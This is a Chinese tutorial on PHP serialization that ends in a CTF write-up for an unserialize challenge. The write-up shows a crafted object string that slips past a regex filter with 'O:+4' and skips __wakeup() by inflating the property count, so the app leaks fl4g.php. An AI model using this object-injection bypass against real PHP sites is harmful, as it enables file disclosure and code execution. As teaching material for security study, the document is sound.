
序列化就是将对象转化为字节序列/字符串,便于之后的传递与使用,序列化会保存对象所有的变量。在序列化对象之前,对象的类要实例化/定义过,字符串中包括了类名、对象中所有变量值,但不包括方法。而反序列化后,会将字符串转换回变量,并重建类或对象
序列化(serialize)序列化是将变量或对象转换成字符串的过程:
<?php
class persopn{
 	public $name;
 	public $age;
 
 	function __construct($name,$age){
  		$this->name = $name;
  		$this->age = $age;
 	}
}
$p = new ("cx", 19);
echo serialize($p);
?>
输出结果:
O:6:"person":2:{s:4:"name";s:3:"cx";s:3:"age";i:19;}O代表结构类型为类6表示类名长度person表示类名2表示类的属性个数s表示属性名的类型为字符串4表示属性名长度name表示属性名s表示属性的类型为字符串3表示属性长度cx表示属性值
unserialize()将序列化的结果恢复成对象。
<?php
class Demo{ 
    public $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}
$s = new Demo('test.php');
$str = serialize($s);
echo($str."\n");
print_r(unserialize($str));
$sir = unserialize($str);
?>
输出结果为:
O:4:"Demo":1:{s:4:"file";s:8:"test.php";}
Demo Object
(
    [file] => test.php
)布尔型:
b:value //true or flase
b:0整数型:
i:value
i:10字符型:
s:length:"value";
s:4:"aaaa"对象:
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"Person":3:{s:4:"name";N;s:3:"age";i:18;s:3:"sex";B;}数组:
a:<length>:{key; value pairs};
a:1:{i:1;s:1:"a";}NULL:
N魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)
__construct对象被创建时调用,但unserialize()时不会调用
__toString对象被当做字符串使用时调用,返回一个字符串(不仅echo,比如file_exists()也会触发)
__sleep序列化对象之前调用(返回一个包含对象中所有应被序列化的变量名称的数组)
__wakeup反序列化对象之前调用,可用于对对象的初始化操作
__call调用对象不存在的时
__get()调用私有属性时
__set()读取不可访问或者不存在属性时被调用
__isset()对不可访问或者不存在属性调用isset()或者empty()是被调用
__unset()对不可访问或不存在的属性进行unset()时被调用
unserialize()函数的参数可控php中有可以利用的类并且类中有魔术方法当传给unserialize()的参数可控时,就可以注入精心构造的payload,在进行反序列化是就可能触发对象中的一些魔术方法,执行恶意指令。
题目来源攻防世界
前置知识:在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在__wakeup()的漏洞。当反序列化中对象属性的个数和真实的个数不等时,__wakeup()就会被绕过。

首先查看php源代码:
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>在Demo里面看到了__wakeup()函数,可知这里应该涉及反序列化。
下方的if语句首先判断var参数是否存在,然后进行base64编码,再与正则表达式匹配。如果与正则表达式匹配,程序就会停止,所以我们需要绕过匹配,执行else中的@unserialize($var);反序列化操作。在反序列化操作之前会先执行__wakeup(),判断对象的文件是否为index.php,如果不是则将对象的文件属性变为index.php,注释告诉我们flag在fl4g.php里面,因此我们需要绕过__wakeup()。
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$demo = new Demo('fl4g.php');
echo serialize($demo);
?>运行后得到结果:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}这里我们发现Demofile只有八个字符,但是长度却是10,可知存在两个空字符:

/[oc]:\d+:/i:
[oc]:表示这块区域用来匹配o或者c;
\d:代表一个数字字符;
+:代表可以匹配多次;
/i表示匹配时不区分大小写。
由于序列化后的结果o后面为4,所以需要绕过正则表达式,+号可以实现绕过(+号代表空格),还可以使用true来代替数字1或者异或法。
__wakeup()漏洞绕过然后绕过__wakeup(),修改类的属性个数大于真是属性个数即可。
修改后的序列化结果如下:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}然后进行base64编码,注意不要忘记加上两个\x00空字符:

然后构造payload,即可得到flag。
